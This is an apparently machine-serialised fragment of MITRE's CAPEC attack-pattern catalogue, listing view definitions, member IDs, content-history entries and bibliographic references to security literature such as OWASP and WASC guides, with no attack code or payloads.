xmlns:xhtml="http://www.w3.org/1999/xhtml">This view organizes attack patterns hierarchically based on mechanisms that are frequently employed when exploiting a vulnerability. The categories that are members of this view represent the different techniques used to attack a system. They do not, however, represent the consequences or goals of the attacks. There exists the potential for some attack patterns to align with more than one category depending on one’s perspective. To counter this, emphasis was placed such that attack patterns as presented within each category use a technique not sometimes, but without exception.</xhtml:div> + + + + + 156 + + + + + 210 + + + + + 255 + + + + + 262 + + + + + 152 + + + + + 223 + + + + + 172 + + + + + 118 + + + + + 225 + + + + + + + + + + + + #indContentHistoryContentHistory49057 + Content_History_49057 + + + + + + + + + + + + + + + + #indSubmissionSubmission49058 + Submission_49058 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification49063 + Modification_49063 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated View_Objective + + + + + + + + + + + + #indModificationModification49069 + Modification_49069 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships, View_Objective + + + + + + + + + + + + #View-2000 + Comprehensive CAPEC Dictionary + + + + + + + + + 2000 + + + + + Comprehensive CAPEC Dictionary + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This view (slice) covers all the elements in CAPEC.</xhtml:div> + + + + + /Attack_Pattern_Catalog/*[not(self::External_References)]/* + + + + + + + + + + + + #indContentHistoryContentHistory49080 + Content_History_49080 + + + + + + + + + + + + + + + + #indSubmissionSubmission49081 + Submission_49081 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #View-282 + Meta Abstractions + + + + + + + + + 282 + + + + + Meta Abstractions + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This view (slice) covers meta abstraction attack patterns.</xhtml:div> + + + + + /Attack_Pattern_Catalog/Attack_Patterns/Attack_Pattern[@Abstraction='Meta'] + + + + + + + + + + + + #indContentHistoryContentHistory49091 + Content_History_49091 + + + + + + + + + + + + + + + + #indSubmissionSubmission49092 + Submission_49092 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #View-283 + Standard Abstractions + + + + + + + + + 283 + + + + + Standard Abstractions + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This view (slice) covers standard abstraction attack patterns.</xhtml:div> + + + + + /Attack_Pattern_Catalog/Attack_Patterns/Attack_Pattern[@Abstraction='Standard'] + + + + + + + + + + + + #indContentHistoryContentHistory49102 + Content_History_49102 + + + + + + + + + + + + + + + + #indSubmissionSubmission49103 + Submission_49103 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #View-284 + Detailed Abstractions + + + + + + + + + 284 + + + + + Detailed Abstractions + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This view (slice) covers detailed abstraction attack patterns.</xhtml:div> + + + + + /Attack_Pattern_Catalog/Attack_Patterns/Attack_Pattern[@Abstraction='Detailed'] + + + + + + + + + + + + #indContentHistoryContentHistory49113 + Content_History_49113 + + + + + + + + + + + + + + + + #indSubmissionSubmission49114 + Submission_49114 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #View-3000 + Domains of Attack + + + + + + + + + 3000 + + + + + Domains of Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This view organizes attack patterns hierarchically based on the attack domain.</xhtml:div> + + + + + 513 + + + + + 515 + + + + + 512 + + + + + 437 + + + + + 403 + + + + + 514 + + + + + + + + + + + + #indNoteNote49132 + Note_49132 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When this view is fully expanded, only the immediate children (meta patterns) of the top level categories will be visible. Lower level children (standard and detailed patterns) can be accessed by opening up the meta CAPEC entries. This is a known issue and will be corrected in a future release.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory49134 + Content_History_49134 + + + + + + + + + + + + + + + + #indSubmissionSubmission49135 + Submission_49135 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification49140 + Modification_49140 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Other_Notes + + + + + + + + + + + + #View-333 + WASC Threat Classification 2.0 + + + + + + + + + 333 + + + + + WASC Threat Classification 2.0 + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This view provides a mapping between the WASC Threat Classification 2.0 and CAPEC.</xhtml:div> + + + + + /Attack_Pattern_Catalog/*/*[Taxonomy_Mappings/Taxonomy_Mapping[@Taxonomy_Name='WASC']] + + + + + + + + + + + + #indContentHistoryContentHistory49151 + Content_History_49151 + + + + + + + + + + + + + + + + #indSubmissionSubmission49152 + Submission_49152 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification49157 + Modification_49157 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated View_Objective + + + + + + + + + + + + #indModificationModification49163 + Modification_49163 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Type, Filter, Members + + + + + + + + + + + + #View-483 + Deprecated Entries + + + + + + + + + 483 + + + + + Deprecated Entries + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">CAPEC nodes in this view (slice) have been deprecated.</xhtml:div> + + + + + /Attack_Pattern_Catalog/*/*[@Status='Deprecated'] + + + + + + + + + + + + #indContentHistoryContentHistory49174 + Content_History_49174 + + + + + + + + + + + + + + + + #indSubmissionSubmission49175 + Submission_49175 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #View-553 + Mobile Device Patterns + + + + + + + + + 553 + + + + + Mobile Device Patterns + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This view (slice) covers standard attack patterns that target direct exploitation of mobile devices.</xhtml:div> + + + + + /Attack_Pattern_Catalog/*/*[@ID = (187, 498, 604, 605, 606, 608, 609, 610, 612, 613, 614, 615, 617, 618, 619, 621, 622, 623, 625, 626, 627, 628, 629)] + + + + + + + + + + + + #indContentHistoryContentHistory49185 + Content_History_49185 + + + + + + + + + + + + + + + + #indSubmissionSubmission49186 + Submission_49186 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #View-658 + ATT&CK Related Patterns + + + + + + + + + 658 + + + + + ATT&CK Related Patterns + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This view (slice) covers patterns with mappings to the ATT&amp;CK knowledge base.</xhtml:div> + + + + + /Attack_Pattern_Catalog/*/*[Taxonomy_Mappings/Taxonomy_Mapping[@Taxonomy_Name='ATTACK']] + + + + + + + + + + + + #indReferenceReference49197 + Reference_49197 + + + + + + + + + REF-622 + + + + + + + + + + + + #indContentHistoryContentHistory49199 + Content_History_49199 + + + + + + + + + + + + + + + + #indSubmissionSubmission49200 + Submission_49200 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + + + + + + + + #View-659 + OWASP Related Patterns + + + + + + + + + 659 + + + + + OWASP Related Patterns + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This view (slice) covers patterns with mappings to OWASP Attacks.</xhtml:div> + + + + + /Attack_Pattern_Catalog/*/*[Taxonomy_Mappings/Taxonomy_Mapping[@Taxonomy_Name='OWASP Attacks']] + + + + + + + + + + + + #indReferenceReference49211 + Reference_49211 + + + + + + + + + REF-623 + + + + + + + + + + + + #indContentHistoryContentHistory49213 + Content_History_49213 + + + + + + + + + + + + + + + + #indSubmissionSubmission49214 + Submission_49214 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + + + + + + + + #View-683 + Supply Chain Risks + + + + + + + + + 683 + + + + + Supply Chain Risks + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This view covers patterns that fall within the CISA Supply Chain Lifecycle</xhtml:div> + + + + + 684 + + + + + 685 + + + + + 686 + + + + + 687 + + + + + 688 + + + + + 689 + + + + + + + + + + + + #indReferenceReference49232 + Reference_49232 + + + + + + + + + REF-718 + + + + + + + + + + + + #indContentHistoryContentHistory49234 + Content_History_49234 + + + + + + + + + + + + + + + + #indSubmissionSubmission49235 + Submission_49235 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #View-703 + Industrial Control System (ICS) Patterns + + + + + + + + + 703 + + + + + Industrial Control System (ICS) Patterns + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This view contains a listing of CAPECs that apply to industrial control systems (ICS). Some children of these attack patterns might also be applicable.</xhtml:div> + + + + + 1 + + + + + 57 + + + + + 65 + + + + + 70 + + + + + 94 + + + + + 98 + + + + + 125 + + + + + 130 + + + + + 131 + + + + + 141 + + + + + 148 + + + + + 158 + + + + + 163 + + + + + 165 + + + + + 169 + + + + + 177 + + + + + 180 + + + + + 184 + + + + + 191 + + + + + 227 + + + + + 268 + + + + + 292 + + + + + 309 + + + + + 312 + + + + + 313 + + + + + 438 + + + + + 439 + + + + + 441 + + + + + 457 + + + + + 473 + + + + + 504 + + + + + 540 + + + + + 547 + + + + + 552 + + + + + 555 + + + + + 560 + + + + + 573 + + + + + 580 + + + + + 603 + + + + + 607 + + + + + 635 + + + + + 648 + + + + + 649 + + + + + 690 + + + + + 691 + + + + + 692 + + + + + + + + + + + + #indReferenceReference49294 + Reference_49294 + + + + + + + + + REF-752 + + + + + + + + + + + + #indNoteNote49297 + Note_49297 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This view was created in part by utilizing the ATT&amp;CK ICS Matrix [REF-752].</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory49299 + Content_History_49299 + + + + + + + + + + + + + + + + #indSubmissionSubmission49300 + Submission_49300 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + + + + + + + + #indExternalReferenceExploitingSoftwareHowToBreakCode + Exploiting Software: How to Break Code + + + + + + + + + REF-1 + + + + + G. Hoglund + + + + + G. McGraw + + + + + Exploiting Software: How to Break Code + + + + + 2004 + + + + + 2 + + + + + Addison-Wesley + + + + + + + + + + + + #indExternalReferenceSharefuzz + Sharefuzz + + + + + + + + + REF-2 + + + + + Sharefuzz + + + + + http://sharefuzz.sourceforge.net + + + + + + + + + + + + #indExternalReferenceCrossSiteTracing + Cross-Site Tracing (XST) + + + + + + + + + REF-3 + + + + + Jeremiah Grossman + + + + + Cross-Site Tracing (XST) + + + + + 2003 + + + + + WhiteHat Security + + + + + http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-4 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + http://www.owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection + + + + + + + + + + + + #indExternalReferenceOrionApplicationServerJSPSourceDisclosureVulnerability + Orion Application Server JSP Source Disclosure Vulnerability (Bugtraq ID: 17204) + + + + + + + + + REF-6 + + + + + Orion Application Server JSP Source Disclosure Vulnerability (Bugtraq ID: 17204) + + + + + SecurityFocus + + + + + http://www.securityfocus.com/bid/17204/info + + + + + + + + + + + + #indExternalReferenceOWASPTestingGuide + OWASP Testing Guide + + + + + + + + + REF-9 + + + + + OWASP Testing Guide + + + + + v4 + + + + + 2010 + + + + + The Open Web Application Security Project (OWASP) + + + + + https://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001) + + + + + + + + + + + + #indExternalReferenceWASCThreatClassification2Dot0 + WASC Threat Classification 2.0 + + + + + + + + + REF-10 + + + + + WASC Threat Classification 2.0 + + + + + 2010 + + + + + The Web Application Security Consortium (WASC) + + + + + http://projects.webappsec.org/w/page/13246952/Path-Traversal + + + + + + + + + + + + #indExternalReferenceWASCThreatClassification2Dot0 + WASC Threat Classification 2.0 + + + + + + + + + REF-11 + + + + + WASC Threat Classification 2.0 + + + + + 2010 + + + + + The Web Application Security Consortium (WASC) + + + + + http://projects.webappsec.org/Directory-Indexing + + + + + + + + + + + + #indExternalReferenceCraftingSymlinksForFunAndProfit + Crafting Symlinks for Fun and Profit + + + + + + + + + REF-13 + + + + + Shaun Colley + + + + + Crafting Symlinks for Fun and Profit + + + + + http://www.infosecwriters.com/texts.php?op=display&id=159 + + + + + + + + + + + + #indExternalReferenceFIO30CDotExcludeUserInputFromFormatStrings + FIO30-C. Exclude user input from format strings + + + + + + + + + REF-14 + + + + + Hal Burch + + + + + Brendan Saulsbury + + + + + FIO30-C. Exclude user input from format strings + + + + + 2011 + + + + + 5 + + + + + CERT + + + + + https://www.securecoding.cert.org/confluence/display/seccode/FIO30-C.+Exclude+user+input+from+format+strings + + + + + + + + + + + + #indExternalReferenceWASCThreatClassification2Dot0 + WASC Threat Classification 2.0 + + + + + + + + + REF-15 + + + + + Robert Auger + + + + + WASC Threat Classification 2.0 + + + + + The Web Application Security Consortium (WASC) + + + + + http://projects.webappsec.org/Format-String + + + + + + + + + + + + #indExternalReferenceWASCThreatClassification2Dot0 + WASC Threat Classification 2.0 + + + + + + + + + REF-17 + + + + + WASC Threat Classification 2.0 + + + + + 2010 + + + + + The Web Application Security Consortium (WASC) + + + + + http://projects.webappsec.org/LDAP-Injection + + + + + + + + + + + + #indExternalReferenceWikipedia + Wikipedia + + + + + + + + + REF-22 + + + + + Wikipedia + + + + + The Wikimedia Foundation, Inc + + + + + http://en.wikipedia.org/wiki/DNS_cache_poisoning + + + + + + + + + + + + #indExternalReferenceDNSThreatsAndDNSWeaknesses + DNS Threats and DNS Weaknesses + + + + + + + + + REF-23 + + + + + DNS Threats and DNS Weaknesses + + + + + DNSSEC + + + + + http://www.dnssec.net/dns-threats.php + + + + + + + + + + + + #indExternalReferenceWikipedia + Wikipedia + + + + + + + + + REF-24 + + + + + Wikipedia + + + + + The Wikimedia Foundation, Inc + + + + + http://en.wikipedia.org/wiki/ARP_spoofing + + + + + + + + + + + + #indExternalReferenceVulnerabilityNoteVUSharp800113 + Vulnerability Note VU#800113 + + + + + + + + + REF-27 + + + + + Vulnerability Note VU#800113 + + + + + 2008 + + + + + 7 + + + + + 8 + + + + + US CERT + + + + + http://www.kb.cert.org/vuls/id/800113#pat + + + + + + + + + + + + #indExternalReferenceShareLibraryCallRedirectionViaELFPLTInfection + Share Library Call Redirection Via ELF PLT Infection + + + + + + + + + REF-29 + + + + + Silvio Cesare + + + + + Share Library Call Redirection Via ELF PLT Infection + + + + + Issue 56 + + + + + Phrack Magazine + + + + + 2000 + + + + + http://phrack.org/issues/56/7.html + + + + + + + + + + + + #indExternalReferenceOWASPTop102007 + OWASP Top 10 2007 + + + + + + + + + REF-30 + + + + + OWASP Top 10 2007 + + + + + 2007 + + + + + The Open Web Application Security Project (OWASP) + + + + + https://www.owasp.org/www-pdf-archive/OWASP_Top_10_2007.pdf + + + + + + + + + + + + #indExternalReferenceFootprintingAndTheBasicsOfHacking + Footprinting And The Basics Of Hacking + + + + + + + + + REF-31 + + + + + Manic Velocity + + + + + Footprinting And The Basics Of Hacking + + + + + Web Textfiles + + + + + http://web.textfiles.com/hacking/footprinting.txt + + + + + + + + + + + + #indExternalReferenceFootprintWhatIsAndHowDoYouEraseThem + Footprint: What Is And How Do You Erase Them + + + + + + + + + REF-32 + + + + + Eddie Sutton + + + + + Footprint: What Is And How Do You Erase Them + + + + + http://www.infosecwriters.com/text_resources/pdf/Footprinting.pdf + + + + + + + + + + + + #indExternalReferenceHackingExposedNetworkSecuritySecretsAndSolutions + Hacking Exposed: Network Security Secrets & Solutions + + + + + + + + + REF-33 + + + + + Stuart McClure + + + + + Joel Scambray + + + + + George Kurtz + + + + + Hacking Exposed: Network Security Secrets & Solutions + + + + + 6th Edition + + + + + 2009 + + + + + McGraw Hill + + + + + + + + + + + + #indExternalReferenceNmapNetworkScanningTheOfficialNmapProjectGuideToNetworkDiscoveryAndSecurityScanning + Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning + + + + + + + + + REF-34 + + + + + Gordon "Fyodor" Lyon + + + + + Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning + + + + + 3rd "Zero Day" Edition, + + + + + 2008 + + + + + Insecure.com LLC, ISBN: 978-0-9799587-1-7 + + + + + + + + + + + + #indExternalReferenceExploitingSoftwareHowToBreakCode + Exploiting Software: How to Break Code + + + + + + + + + REF-35 + + + + + G. Hoglund + + + + + G. McGraw + + + + + Exploiting Software: How to Break Code + + + + + 2004 + + + + + 2 + + + + + Addison-Wesley + + + + + + + + + + + + #indExternalReferenceAnIntroductionToHTTPFingerprinting + An Introduction to HTTP fingerprinting + + + + + + + + + REF-36 + + + + + Saumil Shah + + + + + An Introduction to HTTP fingerprinting + + + + + http://www.net-square.com/httprint_paper.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-37 + + + + + OWASP Web Security Testing Guide + + + + + v4 [DRAFT] + + + + + The Open Web Application Security Project (OWASP) + + + + + https://www.owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework + + + + + + + + + + + + #indExternalReferenceHTTP1Dot1Specification + HTTP 1.1 Specification (RFC 2616) + + + + + + + + + REF-38 + + + + + HTTP 1.1 Specification (RFC 2616) + + + + + IETF RFC + + + + + http://www.ietf.org/rfc/rfc2616.txt + + + + + + + + + + + + #indExternalReferenceWASCThreatClassification2Dot0 + WASC Threat Classification 2.0 + + + + + + + + + REF-39 + + + + + WASC Threat Classification 2.0 + + + + + 2010 + + + + + The Web Application Security Consortium (WASC) + + + + + http://projects.webappsec.org/Fingerprinting + + + + + + + + + + + + #indExternalReferenceFlashParameterInjectionASecurityAdvisory + Flash Parameter Injection: A Security Advisory + + + + + + + + + REF-40 + + + + + Yuval B. + + + + + Ayal Y. + + + + + Adi S. + + + + + Flash Parameter Injection: A Security Advisory + + + + + 2008 + + + + + 9 + + + + + 24 + + + + + IBM Rational Security Team + + + + + http://blog.watchfire.com/FPI.pdf + + + + + + + + + + + + #indExternalReferenceTestingFlashApplications + Testing Flash Applications + + + + + + + + + REF-41 + + + + + Stefano Di Paola + + + + + Testing Flash Applications + + + + + 2007 + + + + + http://www.wisec.it/en/Docs/flash_App_testing_Owasp07.pdf + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-42 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://www.owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/08-Testing_for_Cross_Site_Flashing.html + + + + + + + + + + + + #indExternalReferenceFindingVulnerabilitiesInFlashApplications + Finding Vulnerabilities in Flash Applications + + + + + + + + + REF-46 + + + + + Stefano Di Paola + + + + + Finding Vulnerabilities in Flash Applications + + + + + OWASP Appsec 2007 + + + + + 2007 + + + + + 11 + + + + + 15 + + + + + + + + + + + + #indExternalReferenceALazyPenTesterSGuideToTestingFlashApplications + A Lazy Pen Tester's Guide to Testing Flash Applications + + + + + + + + + REF-47 + + + + + Rudra K. Sinha Roy + + + + + A Lazy Pen Tester's Guide to Testing Flash Applications + + + + + iViz + + + + + http://www.ivizsecurity.com/blog/web-application-security/testing-flash-applications-pen-tester-guide/ + + + + + + + + + + + + #indExternalReferenceCreatingMoreSecureSWFWebApplication + Creating More Secure SWF Web Application + + + + + + + + + REF-48 + + + + + Peleus Uhley + + + + + Creating More Secure SWF Web Application + + + + + Adobe Systems Incorporated + + + + + http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-49 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://www.owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/10-Testing_for_IMAP_SMTP_Injection + + + + + + + + + + + + #indExternalReferenceWikipedia + Wikipedia + + + + + + + + + REF-50 + + + + + Wikipedia + + + + + The Wikimedia Foundation, Inc + + + + + http://en.wikipedia.org/wiki/Reverse_engineering + + + + + + + + + + + + #indExternalReferenceWikipedia + Wikipedia + + + + + + + + + REF-51 + + + + + Wikipedia + + + + + The Wikimedia Foundation, Inc + + + + + http://en.wikipedia.org/wiki/Decompiler + + + + + + + + + + + + #indExternalReferenceWikipedia + Wikipedia + + + + + + + + + REF-52 + + + + + Wikipedia + + + + + The Wikimedia Foundation, Inc + + + + + http://en.wikipedia.org/wiki/Debugger + + + + + + + + + + + + #indExternalReferenceWikipedia + Wikipedia + + + + + + + + + REF-53 + + + + + Wikipedia + + + + + The Wikimedia Foundation, Inc + + + + + http://en.wikipedia.org/wiki/Disassembler + + + + + + + + + + + + #indExternalReferenceWikipedia + Wikipedia + + + + + + + + + REF-57 + + + + + Wikipedia + + + + + The Wikimedia Foundation, Inc + + + + + http://en.wikipedia.org/wiki/Proprietary_protocol + + + + + + + + + + + + #indExternalReferenceWASCThreatClassification2Dot0 + WASC Threat Classification 2.0 + + + + + + + + + REF-59 + + + + + WASC Threat Classification 2.0 + + + + + 2010 + + + + + The Web Application Security Consortium (WASC) + + + + + http://projects.webappsec.org/Remote-File-Inclusion + + + + + + + + + + + + #indExternalReferenceAStudyInScarletExploitingCommonVulnerabilitiesInPHPApplications + A Study In Scarlet, Exploiting Common Vulnerabilities in PHP Applications + + + + + + + + + REF-60 + + + + + Shaun Clowes + + + + + A Study In Scarlet, Exploiting Common Vulnerabilities in PHP Applications + + + + + Blackhat Briefings Asia 2001 + + + + + http://securereality.com.au/studyinscarlett/ + + + + + + + + + + + + #indExternalReferenceSessionRidingAWidespreadVulnerabilityInTodaySWebApplications + Session Riding: A Widespread Vulnerability in Today's Web Applications + + + + + + + + + REF-62 + + + + + Thomas Schreiber + + + + + Session Riding: A Widespread Vulnerability in Today's Web Applications + + + + + SecureNet GmbH + + + + + https://crypto.stanford.edu/cs155old/cs155-spring08/papers/Session_Riding.pdf + + + + + + + + + + + + #indExternalReferenceOWASPTestingGuide + OWASP Testing Guide + + + + + + + + + REF-63 + + + + + OWASP Testing Guide + + + + + v4 + + + + + The Open Web Application Security Project (OWASP) + + + + + http://www.owasp.org/index.php/Testing_for_Session_Management + + + + + + + + + + + + #indExternalReferenceMultipleVendorsXMLParserDenialOfServiceAttackUsingDTD + Multiple vendors XML parser (and SOAP/WebServices server) Denial of Service attack using DTD + + + + + + + + + REF-64 + + + + + Amit Klein + + + + + Multiple vendors XML parser (and SOAP/WebServices server) Denial of Service attack using DTD + + + + + http://www.securityfocus.com/archive/1/303509 + + + + + + + + + + + + #indExternalReferenceAttackingAndDefendingWebServices + Attacking & Defending Web Services + + + + + + + + + REF-65 + + + + + Pete Lindstrom + + + + + Attacking & Defending Web Services + + + + + 2002 + + + + + SPiRE Security + + + + + http://www.webtorials.com/main/comnet/cn2003/web-service/24.pdf + + + + + + + + + + + + #indExternalReferenceTipConfigureSAXParsersForSecureProcessing + Tip: Configure SAX parsers for secure processing + + + + + + + + + REF-66 + + + + + Elliotte Rusty Harold + + + + + Tip: Configure SAX parsers for secure processing + + + + + IBM developerWorks + + + + + 2005 + + + + + 5 + + + + + 27 + + + + + IBM + + + + + http://www.ibm.com/developerworks/xml/library/x-tipcfsx.html + + + + + + + + + + + + #indExternalReferenceXMLDenialOfServiceAttacksAndDefenses + XML Denial of Service Attacks and Defenses + + + + + + + + + REF-67 + + + + + Bryan Sullivan + + + + + XML Denial of Service Attacks and Defenses + + + + + http://msdn.microsoft.com/en-us/magazine/ee335713.aspx + + + + + + + + + + + + #indExternalReferenceOWASPCheatsheets + OWASP Cheatsheets + + + + + + + + + REF-69 + + + + + OWASP Cheatsheets + + + + + The Open Web Application Security Project (OWASP) + + + + + https://www.owasp.org/www-community/xss-filter-evasion-cheatsheet + + + + + + + + + + + + #indExternalReferenceOWASPTestingGuide + OWASP Testing Guide + + + + + + + + + REF-70 + + + + + OWASP Testing Guide + + + + + v2 + + + + + The Open Web Application Security Project (OWASP) + + + + + http://www.owasp.org/index.php/Testing_for_Cross_site_scripting + + + + + + + + + + + + #indExternalReferenceNonAlphanumericXSSCheatSheet + Non-alphanumeric XSS cheat sheet + + + + + + + + + REF-71 + + + + + Non-alphanumeric XSS cheat sheet + + + + + http://sla.ckers.org/forum/read.php?24,28687 + + + + + + + + + + + + #indExternalReferenceWASCThreatClassification2Dot0 + WASC Threat Classification 2.0 + + + + + + + + + REF-72 + + + + + WASC Threat Classification 2.0 + + + + + 2010 + + + + + The Web Application Security Consortium (WASC) + + + + + http://projects.webappsec.org/Cross-Site+Scripting + + + + + + + + + + + + #indExternalReferenceXXEAttack + XXE (Xml eXternal Entity) Attack + + + + + + + + + REF-73 + + + + + XXE (Xml eXternal Entity) Attack + + + + + Beyond Security + + + + + http://www.securiteam.com/securitynews/6D0100A5PU.html + + + + + + + + + + + + #indExternalReferenceCESA2007002Rev2SunJDK6BreaksXXEAttackProtection + CESA-2007-002 - rev 2: Sun JDK6 breaks XXE attack protection + + + + + + + + + REF-74 + + + + + CESA-2007-002 - rev 2: Sun JDK6 breaks XXE attack protection + + + + + http://scary.beasts.org/security/CESA-2007-002.html + + + + + + + + + + + + #indExternalReferenceWikipedia + Wikipedia + + + + + + + + + REF-75 + + + + + Wikipedia + + + + + The Wikimedia Foundation, Inc + + + + + http://en.wikipedia.org/wiki/Greasemonkey + + + + + + + + + + + + #indExternalReferenceFirebug + Firebug + + + + + + + + + REF-76 + + + + + Firebug + + + + + http://getfirebug.com/ + + + + + + + + + + + + #indExternalReferenceMozillaFirefoxAddOns + Mozilla Firefox Add-ons + + + + + + + + + REF-77 + + + + + Mozilla Firefox Add-ons + + + + + https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/ + + + + + + + + + + + + #indExternalReferenceOWASPTestingGuide + OWASP Testing Guide + + + + + + + + + REF-78 + + + + + OWASP Testing Guide + + + + + v4 + + + + + The Open Web Application Security Project (OWASP) + + + + + http://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002) + + + + + + + + + + + + #indExternalReferenceWASCThreatClassification2Dot0 + WASC Threat Classification 2.0 + + + + + + + + + REF-80 + + + + + WASC Threat Classification 2.0 + + + + + 2010 + + + + + The Web Application Security Consortium (WASC) + + + + + http://projects.webappsec.org/w/page/13246956/Routing-Detour + + + + + + + + + + + + #indExternalReferenceThreatProtectionInAServiceOrientedWorld + Threat Protection in a Service Oriented World + + + + + + + + + REF-81 + + + + + Andre Yee + + + + + Threat Protection in a Service Oriented World + + + + + NFR Security + + + + + http://www.unatekconference.com/images/pdfs/presentations/Yee.pdf + + + + + + + + + + + + #indExternalReferenceBrowserSecurityHandbook + Browser Security Handbook + + + + + + + + + REF-84 + + + + + Michal Zalewski + + + + + Browser Security Handbook + + + + + 2008 + + + + + Google Inc. + + + + + https://code.google.com/archive/p/browsersec/wikis/Main.wiki + + + + + + + + + + + + #indExternalReferenceExplainingTheDonTClickClickjackingTweetbomb + Explaining the "Don't Click" Clickjacking Tweetbomb + + + + + + + + + REF-85 + + + + + M. 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Attack Meets a New Defense + + + + + + + + + REF-381 + + + + + Thea Reilkoff + + + + + Hardware Trojans: A Novel Attack Meets a New Defense + + + + + 2010 + + + + + Yale School of Engineering and Applied Science + + + + + + + + + + + + #indExternalReferencePilotingSupplyChainRiskManagementPracticesForFederalInformationSystems + Piloting Supply Chain Risk Management Practices for Federal Information Systems + + + + + + + + + REF-382 + + + + + Marianne Swanson + + + + + Nadya Bartol + + + + + Rama Moorthy + + + + + Piloting Supply Chain Risk Management Practices for Federal Information Systems + + + + + Draft NISTIR 7622 + + + + + 2010 + + + + + National Institute of Standards and Technology + + + + + + + + + + + + #indExternalReferenceTheSoftwareSupplyChainIntegrityFrameworkDefiningRisksAndResponsibilitiesForSecuringSoftwareInTheGlobalSupplyChain + The Software Supply Chain Integrity Framework Defining Risks and Responsibilities for Securing Software in the Global Supply Chain + + + + + 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#indExternalReferenceSocketCapableBrowserPluginsResultInTransparentProxyAbuse + Socket Capable Browser Plugins Result In Transparent Proxy Abuse + + + + + + + + + REF-402 + + + + + Robert Auger + + + + + Socket Capable Browser Plugins Result In Transparent Proxy Abuse + + + + + 2009 + + + + + http://www.thesecuritypractice.com/the_security_practice/TransparentProxyAbuse.pdf + + + + + + + + + + + + #indExternalReferenceActiveManInTheMiddleAttacks + Active Man in the Middle Attacks + + + + + + + + + REF-403 + + + + + Roi Saltzman + + + + + Adi Sharabani + + + + + Active Man in the Middle Attacks + + + + + 